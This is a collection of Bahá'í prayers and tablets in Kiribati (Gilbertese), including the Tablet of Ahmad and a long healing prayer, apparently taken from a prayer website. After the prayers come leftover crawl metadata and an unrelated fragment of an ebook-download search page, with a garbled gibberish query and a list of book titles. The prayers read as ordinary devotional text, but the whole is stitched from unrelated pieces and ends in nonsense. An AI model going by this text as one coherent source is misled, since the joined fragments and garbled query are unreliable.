Taian aonnaba.\nBon ti mai Iroum are e a otanako iai Taain te Katiteuana, ao man Kanakoakim mai Abam ae aban te Katiteuanaaki e a katamaroaaki. Taotaona Nanom, O Ngkoe te Tia Kakawakinaki mai abam n taian aonnaba.\nTi a tia ni karaoa te kamaemaeaki bwa te kunnikai ni mimitong, ao te kammarakaki bwa katamaroan Am tembora, O te Tia Kamoamoaki n taian aonnaba.\nKo noori nano a onrake n te kairiribai ao tarariaoakiia bon Am bwai, O te Tia Rabuni buren te aonnaba.\nNgkana a kia taian kabaang, waakirake!\nNgkana a kibanako rabunaia, mwananga nako!\nO Ngkoe Te Tia Kaburearo n taian aonnaba.\nKo na tang, ke Nna tang? Ni bon arona, Nna tang ibukin karakoia ara tiambion, O Ngkoe are Ko karika tangitangin taian aonnaba. Ni koaua ao I a tia n ongo taian Wewete, O Ngkoe ae te kabanea ni Mimitong man Tangiraki, ao ngkai moamoan Bahá e urarake ni kabuebuen taian kabuanibwai ao ma ain Am taeka ae raneanea, ao e a tia n teirake ma te kakaonimaki n nnen te kaburearo , ni kaitarai Kukureim, O Ngkoe te Tia Kataui Bwai nako n taian aonnaba.\nO Ali Akbar, karabwa am Uea ibukin te Tabureti aio ike ko kona n ikeikena boiararan Au kamangori, ao atai bwai ake Ti a tia n aitara ma ngaai inanon kawain Te Atua, te Rangin Tangiraki inanon taian aonnaba nako.\nNgkana a bane tooro nako ni wareka ao ni karaua n iangoa aio, ao e na kakiaaki inanon iaia te ai ae e na kaurarakei taian aonnaba.\n(E wawarekaki te Tabureti aio i Bangotaia Bahá'u'lláh ao te Báb. E kakabonganaki naba n Aia bong ni kauring.)\nKamoamoaam are e a tia ni ing ootana man Rabwatam ae moan te kakannangaki, ao te mimitong are e a tia n ootanako man Tamaroam ae raneanea, e na mena Iroum, O Ngkoe ae riki-ni bwain te Kakannato, ao Uean te Aki-Totoki, ao aia Uea kaain karawa ni kabane ao kaain te aonaaba ni kabane! I kaotia ma te koaua bwa Rinanom are a kaotaki iai rietaatan te Atua ma Ana tautaeka, ao inauean te Atua ma Ana tamaroa, ao Itoiningainan nako taai ake a bwakanako a tia ni kaotanakoi ootaia aika a raneanea ni karawan Am babaaire ae aki kona ni bibitaki, ao Tamaroan te Aki-nooraki e a tia n ootanako iaon oraitanin te karikibwai. I manga kaotia riki ma te koaua, bwa ni ingin Am Kainikoroboki n anga Am kaetieti are \"Riiki Ngkoe\" e a bon tia ni kamatoaaki, ao Ana karaba te Atua e a tia ni kaotaki, bwaai ni kabane a bane ni karikaki, ao n tia naba ni karuoaki Kaotioti nako ibukina.\nI kaotia naba, bwa rinanon Tamaroam e a bon tia n oti iai tamaroan Teuare e Tangiraki, ao ni Moam e a bon tia ootanako moan Teuare Maaten-te-nano, ao rinanon Ana taeka Wiim Ko a bon tia ni motiki taekan bwaai ni kabane aika a karikaki, ni karikiia akana a Tangiriko bwa a na rierake nakon taubukin te mimitong, ao ake a aki bwa a na bwaka nako nanon te kinono ae akea tokin kabina.\nI kaotia ma te koaua bwa ane e Kinako e boni kinaa te Atua, ao ane e roko Iroum ao e bon roko iroun te Atua. E korakora kakabwaiakin ane e Kakoauako, n Am kanikina nako, ao n tia ni kamangoria i matan Rietaatam, ao n tia n reke rinena ni kaaitibo ma Ngkoe, ao n tia naba ni karokoa ni kukurein Am kaantaninga, ma ni kakatobibia Rarikim, ao n tei i matan Am kaintokanuea. E na roko te tekebuaka nakon ane e a tia ni karitei Nakoim, ni kakeweko, n rawa n butimwai Am kanikina, ni kauntabaa Ueam, ao ni Kaaitarako, ni kaota te kainikatonga i Matam, ao ni kauntabai Am kaotioti nako, ao ni birinako man Am tua ao Am tautaeka, ao ni warekaki ibuakoia taan aki kakoauaa te Aro are a tia araia ni koreaki n tabonibain Am motikitaeka iaon Am Atinikoroboki aika a Tabu.\nUoti ma te aabebete nakoiu, Atuau ao Au Tangira, ikeiken Am nanoanga aika a tabu, n Angatain Am ataataiaomata, bwa a aonga ni kararoaai nako boni mairou ao man te aonaaba nakon oon Am tabo ike ko mena iai. Ko mwaaka ni karaoa are Ko bon taku Ni koaua, Ko a bon tia n rangi n rietaata iaon bwaai ni kabane.\nUringan te Atua ma Kamoamoaana, Mimitongina ma Tamaroana, a tiku i Aom, Ngkoe ae bon Tamaroana! I kaotia ma te koaua bwa matan te karikibwai e tuai man tataraa temanna ae e a tia ni karaoaki te aki eti nakoina n ai Arom. Ni kabane bongin Maium ko a bon tia ni iinako ibuakon marawan te karawawataaki. N te taina Ko bon kabaeaki n taian taurekereke; n te taina naba ao Ko taboraaki n aia kabaang Am kairiribai. N aki mutiakin baikai ni kabane, Ko bon waaki n tuangia aomata nako bwa a na karaoa are Ko a tia n tuangaki mairoun Teuare Ngaia Moaia Ataibwai, te Katoki ni Wanawana.\nE bia riki tamneiu bwa te karea nakon aki-eti ake Ko a tia kamarakaki ibukiia, ao oin aomatau bwa boon mwiin kaangaanga ake ko a tia n rinanoi. I bubuti nakon te Atua, Rinanom ao rinanoia ake a tia ni kaootaki moaia n tamaroan ootan Moam, ao te koraki naba ake a tia ni irii nanon taeka ake a tuangaki, ibukin Tangiram, bwa a na bane ni kamwaawaaki rabuna ni mata ake a mena i Marenam ma Am aomata, ao ni kareerekea nakoiu raoiroin te aonaaba aei ao are e na roko. Boni Ngkoe ni koaua, Moan te Mwaaka, te Katoki ni Kamoamoaaki, te Kabanea ni Mimitong te Kakabwara bure, te Karaunano.\nTe Uea ae Atuau, kakabwaiaa te Kai-te-Rote ni Karawa ma baana nako, bwebwena ma mwangana nako ao tirina ni kabane, bwa a na teimatoa ni irii teimatoan Anuam nako aika moan te Raraoi. Kamanoa man aia mwakuri ni ioawawa taani kakiriwe ma taani motibuaka. Ngkoe ni koaua, Moan te Mwaaka, te Kabanea ni Korakora. Te Uea ae Atuau, kakabwaiaia naba Am toro mwaane ao am tabonibai aine ake a tia ni karokoia Iroum. Boni Ngkoe ni koaua, te Ataataiaomata, ae akea tokin Ana tituaraoi. Akea riki te Atua bwa bon ti Ngkoe, Moan te Nanoanga, te Katoki n Tituaraoi.\n(Te tataro aio ae e kaotaki iroun 'Abdu'l-Bahá e wawarekaki ni Bangotana. E kona ni kabonganaaki naba n te tataro iroun te aomata i bon irouna).\nAne atonga te tataro aio ma te nanorinano ao Te Bábanennano e na uota te kukurei ao te rauaki nakon nanon te Tia Beku aio; e na riki n ai aron te kaitibo ma Ngaia, te mata nakon te mata.\nBoni Ngaia te Mimitong ni kabane.\nTe Atua ae Atuau! Ma te nanorinano ao te matan-tang, I tabeki baiu ni bubuti Nakoim ao I rabuna moau ni bubuntanon matan Am mataroa arei, ni karietataaki nakon rabakauia naake a atai-bwai, ao iaon naba neboaia ni kabane ake a Neboiko. Ma Am taratara ae e raoiroi, an taraa ma kaninganingan matan Am nanoanga Am tia beku aio, ae nanorinano ma ni mangori i matan Am mataroa, ao katebonakoa inanon Marawan Am raoiroi ae e aki totoki.\nTe Uea! Boni ngaia Am toro ae akea arona, ae e mangori, ae e mamatenanona Iroum, ae e Bububutiko, ae e tauaki inanon Baim, ae e Onimakiniko, ae e tang i Moam, ae e Weweteiko ma ni Bubutiko ma ni kangai:\nO te Uea, ae Atuau! Anganai Am raoiroi bwa Nna beku ibukiia naake a tangiraki Iroum, kamatoai n au beku Ibukim, kaota ramau ma te ota n taromauri inanon Am kabowi ae e tabu ma te tataro nakon Abanueam ae mimitong. Buokai bwa Nna kaakeai i karawan tabon-rinin Am mataroa, ao buokai bwa Nna mwaawa man bwaai nako ake a mena inanon ike iai Ngkoe. Te Uea! Anganai bwa Nna moi man mangkon te aki-tabeakinai i bon irou; kaunikaai ma kunikaina, ao kateboai inanon marawana. Karikai bwa te bubu-n-tano are e mena inanon kawaiia naake a tangiraki Iroum, ao kariaia bwa Nna anga tamneiu ibukin aon tanon are e a tia ni kateretereaki man tarinwaeia naake a tia n rineaki Iroum inanon kawaim, O Ngkoe Uean te Mimitong ae te katoki n Rietata.\nE Weweteiko Am toro n te tataro aio, n te aiota ao te tairiki. Kakoroa bukin nanona, O te Uea! Kaotaa nanona, kakukurei bwabwana, kauraa otana, bwa e aonga ni beku ibukin A Waaki ma Am tabonibai.\nBoni Ngkoe te Tia Angaanga, te Tangiri matanaomata, te Katoki n Akoi, te Raoiroi, te Nanoanga, te Atataiaomata.\n\"Tataro aikai e bae te aba iai n te koraki n ikotaki ma tabeua aika a kaonoti aroia n aron Tataron te Katoki Aoraki, Te Bába ni Koroboki nakon Ahmad, a tia ni uarokoaki iroun Bahá'u'lláh n rakan te mwaaka iai ao te kakaawaki, aoa riai ngkanne ni butimwaeaki n aroia anne ao n anaaki irouia taan onimaki ma te onimaki ae akea te titiraki iai ao te kakoaua raoi, bwa mai iai a na kona n rin i nanon te itoman ae e kaan riki ma te Atua, ao ni kariki aroia bwa a na bwanin riki ma Ana tua ao Ana koaua\"\n(Man te reta are e Koreaki ibukin Shoghi Effendi)\nBoni Ngaia te Uea, te Atatai ni kabane, te Wanawana!\nAkea bwa e a anene Naitengkaren te Bwaretaiti i aon nako mwaangarengeren Kain te Aki Tootoki, n ee ni Kuuna aika a tabu ma n tangiraoi, ni kauekiia iai nakoia ake a koaua nanoia aaningin taeka aika a kakukurei ni uakaania te Atua, e a weeweteia taan onimakina te Katiteuanaaki n Atua nakon te o are iai Are E Tituaraoi iai, E a kaongoraiia naake a kamwawaaki te rongorongo are E a tia ni kakaotiotaki iroun te Atua, te Uea, te Mimitong, Akea n Aiarona, E a kairiia taan tatangira nakon kaintokan te rikia n tabu ao nakon te Tamaroa ae e kianako ootana.\nBon aio, ni koaua, te baere Katokin Kakannaton te Tamaroa, are E a Kaman tia n taekinaki i nanon aia Boki Taan Uarongorongo , bwa a buataki Irouna reken buuraroan te koaua man te kairua ao a na bane mamatan babaire tatabeua nako ni kataaki aroia. Boni Ngaia, ni koaua, Kain te Maiu are e bwebwe mai iai Ana uaa te Atua, te Neboaki, te Anginnano, te Kakannato.\nAhmad! Ko na kakakoauaa bwa boni Ngaia, ni koaua, te Atua ao akea te Atua bwa ti Ngaia, te Uea, te Tia Kakaawakin, Akea Kabotauana, te Konai Bwaai nako. Ao bwa iai Temanna are E a tia ni kanakomaia n te ara are Ali (Teuare E Tabu, Te Báb) bon Ngaia mai iroun te Atua n te koaua ao nakon Ana babaire ti a bane ni uarokoira iai.\nAni kangai: Aomata an ongotaeka n Ana Otenanti te Atua, ake a tia ni motikaki bukiia i nanon te Bayan iroun te Mimitong, Are te Wanawana. Boni Ngaia, ni koaua aia Uea Taan Uarongorongo ao Ana Boki bon Tinaia Booki, ai teraana ngke ko ataia.\nAi anne iai are E a aboka bwanaana ni wewete nakoim te Naitengkare man te umwanikaikain aio. Akea riki tabena iai bwa ti te nikira te rongorongo ae e teretere aio. Ane e taku n ana iango, ke e rairaki nako man te taeka n ibuobuoki aio ao ane e nano iai ke e kataua te kawai nakon ana Uea.\nNgkami aomata, Ngkana kam a kakewei kiibu aikai, ao ai koaua raa aika kam a tia iai n onimakina te Atua? Katerea, ngkami bobotakiia taan kewe.\nBon te akea, bwa i matan Teuare e mena Tamneiu i nanoni baina, a bon aki kona a na aki kona ni karaoa aio, ke Ngkana tao a ikotaki n ibuobuoki temanna ma temanna.\nAhmad! Tai mwanuokin Au tituaraoi ngkai akea Ngai. Uring Au Bong nako i nanon am bong nako ao Kainnanou ma Kanakoakiu nako mai abau ni mena i nanon te umwanikaikain ae e kakiro nako aio. Ao riiki ngkoe n rangi n teimatoa i nanon Au tangira bwa e aonga n aki tiotio nanom, a ngae ngke a bwaka ni karau i aom wiin aia kabaang taan kairiribai ao ni kabane karawa ma aonnaaba a teirake ni kaaitarako.\nRiiki ngkoe bwa kaanga te ura n ai nakoia Au kairiribai ao te karaanga n te maiu ae akea tokina nakoia ake Au tangira, ao tai riki n ai aroia naake a nanokokoraki.\nAo Ngkana tao ko a kauiaaki n te kangaanga i nanon Kawaiu, ke te katorotoroaki i Bukiu, ko na aki katabeko iai.\nOnimakina te Atua, ae Atuam ao aia Uea am bakatibu. Bwa a tiotio nako aomata i nanon kawain te burebureaki, ao ma ni bon akea irouia te matairiki n nora te Atua n oin mataia, ke n ongo tangiraoin Kunana n oin mataia, ke n oin taningaia. Ti a tia ni kuneiia n aron anne n ai aron naba are ko a tia ni kakoauaa.\nN aron anne a riki aia koaua aika akea aaia bwa te rabunanimata i marenaia ma oin nanoia ao tauakiia nako man kawain te Atua, te Karietataaki, te Kakannato.\nKo na ataia i nanom bwa n te koaua, teuare e rairaki nako man te Tamaroa aio e a tia naba iai n rairaki nako mai irouia Taan Uarongorongo ake ngkoa ao ni kaota te kainikatonga nakon te Atua man te aki tootoki ni kabane nakon te aki tootoki ni kabane.\nKamatenanoa raoi Te Bába ni Koroboki aio, Ahmad, Katakeia i nanon am bong nako ao tai tauraroako mai iai. Bwa n te koaua, E a tia te Atua ni motika kaniwangan are e katakenna n anaia maritire aika tebubua ao te beku n aonnaba ake uoua. Ti a tia n anganiko bwain akoi aikai bwa te bwai n tituaraoi ae te tibwa mai Iroura ao te ataataiaomata man ae iai Ngaira bwa ko aonga n raoniia ake a nano ni karabwarabwa.\nN aran te Atua! Ngkana iai temanna are e rekenako n te rainanoanga ke te rangi n nanokawaki ao e wareka Te Bába ni Koroboki aio ma ni kabanea nanona iai, ao te Atua E na bon kamaenakoa nanokaawakina ma n nikoi ana kangaanga ao ni kamwaawai rainanoanga.\nBon Ngaia, ni koaua, te Ataataiaomata ao te Nanoanga. E na neboaki te Atua ae te Uea i Aonaaba ni kabane.\nNgaia te Tia Katoki Aoraki, te Tia Kataubobonga, te Tia Ibuobuoki, te Tia Kabwaraibuure nako, Moan te Nanoanga.\nI wewete Nakoim O Ngkoe Ae Ko Karietataaki, O Ngkoe Are Ko Kakaonimaki, O Ngkoe Are Ko Mimitong! Ngkoe te Tia Kataubobonga, Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O te Uea, O te Tia Manga Kamaiu, O te Tia Moti! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O te Uea, O Ngkoe Are Te Kabanea n Itiaki, O Ngkoe Are Ko Maiu n Aki Toki, O Ngkoe Ae Ti Temanna! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Are Ko Moan te Kamoamoaaki, O Ngkoe Ae Ko Tabu, O Ngkoe Ae Ko Ibuobuoki! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Akea Tokin Wanawanam, O Ngkoe Ae Ko Moan te Wanawana, O Ngkoe Ae Moan te Korakora! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Nanoanga, O Ngkoe Ae Ko Mwaaka ni Uea, O Ngkoe Ae te Tia Angaanga te Kaetieti! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Moan te Tangiraki, O Ngkoe Ae Ko Mwananoaki, O Ngkoe Ae ko Kimwareirei! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Moan te Korakora, O Ngkoe te Tia Anganga te Maiu, O Ngkoe Ae ko Mwaaka! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Tautaeka, O Ngkoe Ae Ko Maiu i bon Iroum, O Ngkoe Ae Ko Atai bwaai ni Kabane! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ae Te Tamnei, O Ae te Taura, O Ngkoe ae Moan te Ota! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Kainnanoaki irouia aomata nako, O Ngkoe Ae Ko Ataaki irouia ni kabane, O Ngkoe Ae Ko Raba mai irouia ni kabane! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Karabaaki, O Ngkoe Ae Ko Tokanikai, O Ngkoe Ae Ko Angaanga! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Moan te Korakora, O Ngkoe Ae Ko Ibuobuoki n Tain te Kanganga, O Ngkoe Ae Ko Karabai Bwaai Nako! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Karaoi Bwaai Nako, O Ngkoe Ae Te Tia Karauakiira, O Ngkoe Te Tia Urui bwaai nako! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko teimatoa n Ararake, O Ngkoe Ae Ko Ikoikotiira, O Ngkoe Ae Ko Karietataaki! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe ae te Tia Kakororaoi, O Ngkoe ae Ko Aki Kabaebaeaki n Taian Taurekereke, O Ngkoe Ae Ko Angaanga Bwaai Nako! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe ae Ko Tituaraoi nakoia aika a Kainnano, O Ngkoe Ae Ko Mwaaka n Taui bwaai mai iroura, O Ngkoe Ae te Tia Karikibwai! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae te Kabanea ni Karietataaki, O Ngkoe Ae Moan te Tamaroa, O Ngkoe te Tia Angaanga! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Motiraoi, O Ngkoe Ae Ko Tituaraoi, O Ngkoe Ae Ko Akoi! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae te Tia Katurutururaoi, O Ngkoe Ae Ko Teimatoa n Aki Totoki, O Ngkoe Ae Moan te Ataibwai! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Moan te Tamaroa, O Ngkoe Ae Bongin Ngkoangkoa, O Ngkoe Ae Moan te Karietataaki! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Moan te Tararuaaki, O Uean te Kimwareirei, O Ngkoe Ae Moan te Tangiraki! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Akoi nakoia ni kabane, O Ngkoe Ae Ko Nanoanga nakoia ni kabane, O Ngkoe Ae Moan te Tituaraoi! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae te Tia Katantan ibukia ni kabane, O Ngkoe Ae Te Tia Kakawakin! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Te Tia Buokiia ni kabane, O Ngkoe Ae Ko Bubutiaki irouia ni kabane, O Ngkoe Ae te Tia Anga te Maiu! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O te Tia Kamaenikunii bwaai nako, O Te Tia Urui Bwaai ni kabane, O Ngkoe Ae Moan te Nanoanga! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Tamneiu, O Ngkoe Au Tangira, O Ngkoe Au Onimaki! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Te Tia Katokitaka, O te Uea Ae E Rianako Am Atatai, O Ngkoe ae Moanibaan te Kakaawaki! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ae Moan te Korakora aron Ururingakim, O Moan te Kakannato Aram, O te Kawai are Mangkoangkoa! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ae Moan te Tabotaboaki, O Moan te Tabu, O Ngkoe Ae Moan te Itiaki! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O te Tia Kabwaranakoi Bwaai ni Kabane, O te Tia Ibuobuoki, O te Tia Kamwawaira man taian Kabuanibwai! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim, O Raraou, O te Tia Katoki Aoraki, O Ngkoe Ae Ko Matennanoaki! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ae Ko Mimitong, O te Tamaroa, O Ngkoe Ae Ko Tituaraoi! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ae Moan te Onimakinaki, O te Tia Tangira ao te Kabanea n Tamaroa, O Uean te Karangaina! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O te Tia Kaura Ain te Tangira, O te Tia Kaoti Taabo Nako, O te Tia Uota te Kakukurei! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Uean te Tituaraoi, O Moan te Nanoanga, O Ngkoe Ae Ko Moan n Atai Rawawatara! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Uean te Tituaraoi, O Moan te Atai Rawawatara, O Ngkoe Ae Moan te Nanoanga! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae E aki Bibitaki Arom, O Ngkoe Ae Ko Anga te Maiu, O Boton te Karikibwai ni kabane! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Nininako bwai ni kabane, O te Atua Ae Ko Noori Bwaai ni Kabane, O Uean te Kakarabakau! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Kaotiotaki ma Ko Raba, O Ngkoe Ae Ko Aki Noraki ma Ko Ataaki irouia ni kabane, O Ngkoe Te Tia Rimoa Am Taratara Ae Ko Ukoukoraki irouia aomata ni kabane! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nI wewete Nakoim O Ngkoe Ae Ko Tiringiia taan Tangira, O Atuan te Tituaraoi nakoia ake a buakaka aroia! Ngkoe te Tia Katoki Aoraki, Ngkoe te Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nO te Tia Kataubobonga, I wewete Nakoim, O te Tia Kataubobonga!\nO te Tia Katoki Aoraki, I wewete Nakoim, O te Tia Katoki Aoraki!\nNgkoe Ae Ko Teimatoa ma n Aki Bibitaki, O Ngkoe Are Ko Teimatoa ma n Aki Bibitaki!\nKo Tabu, O Atuau! I bubutiko n Am Akoi ike mataroan Am Anganga ao Am akoi a kaukakinako ike Temboran Tabum e a tia ni kateaki iaon bwaoniuean te aki totoki, ao man Am kakabwarabure ike Ko a tia ni kaoia ni kabane ake a karikaki nakon taiboran Am tituaraoi ao Am bwaintangira; ao man Am tituaraoi ike Ko kaeka i bon i nanom ma Am taeka ae e kangai ''Eng!'' ibukiia ni kabane ake i karawa ao iaon te aba, n te aoa are Ueam ao Kakannatom a tei ni kaotaki, n aoan te karangaina ngke korakoran Am Tautaeka a kaotaki. Ao I a manga Butiko, rinanon aara aika a tamaroa aikai, rinanon anua aika a rine Uringakim ae Moan te Bura i eta, ao rinanon Tamaroam ae e itiaki ao n akea barekana ao rinanon Am auti n rianna ae te kabanea n tamaroa, ao rinanon Aram are e rabunaki ni kamwarain te karawawataaki ni katoa ingabong ao te tairiki, ni kamanoa te tia uota te Tabureti ae e kakabwaiaki aio, ao are e warekia, ao are e noria, ao are e otabwaniniia te auti are e kawakinaki iai. Ko na kamarurunga ngkanne, mai iai naake a aoraki ake a rotaki rabwataia ao ake a kainnano, man taian kanganga ao taian karawawata, man taian kabuanibwai aika a kammaira ao ni kananokawaki, ao rinanon te Tabureti aio Ko na kairia naake a nano iai bwa a na rinnako inanon kawain Am kairiiri ao ni kawain Am nanoanga ao Am tituaraoi.\nNgkoe ni koaua te Mwaaka, te Kabanea n Taubobonga, te Tia Katoki Aoraki, te Tia Kamanomano, te Tia Anganga, te Nanoanga, te Kabanea n Tituaraoi, te Tia Kakabwarai Buure.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/bahaiprayers.net\/Book\/Full\/Kiribati\/54","date":"2020-01-26T10:33:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251687958.71\/warc\/CC-MAIN-20200126074227-20200126104227-00551.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":30383,"character_repetition_ratio":0.1,"word_repetition_ratio":0.056,"special_characters_ratio":0.217,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nHome\nSearch\nEz Ae Ezseae A Ae E E Ae Sce Ezaea A Ae E E E Ae Ae E A Gmvcs Com H Zfs2019 03 07 00 05e As Ae Sae Sae Ezsaea A Ezse A W2q Ey A A A Ez E E Ae Ae Aea E 3ae Aaaaaa Twm\nSearch results for ez ae ezseae a ae e e ae sce ezaea a ae e e e ae ae e a gmvcs com h zfs2019 03 07 00 05e as ae sae sae ezsaea a ezse a w2q ey a a a ez e e ae ae aea e 3ae aaaaaa twm book\nStelle Della Costellazione Dell'aquario: Stelle Principali Della Costellazione Dell'aquario, Gliese 876, EZ Aquarii, Ae Aquarii, Psi1 Aquarii\nby Fonte Wikipedia\nMasallar - Bütün Ezop Masalları\nby Aesop\nThe EZ Guide to Aeroponics, Hydroponics & Aquaponics: How to Create a Sustainable Food Supply\nby Bob Long\nThe EZ Guide to Aeroponics\nby Bob Long\nThe EZ Guide To Aeroponics, Hydroponics and Aquaponics: How to Create a Sustainable Food Supply\nby Bob Long\nEzopovy Bajky: Aesop's Fables\nby Aesop\nMichio Itō's Reminiscences of Ezra Pound, W.B. Yeats, and Other Matters: A Translation 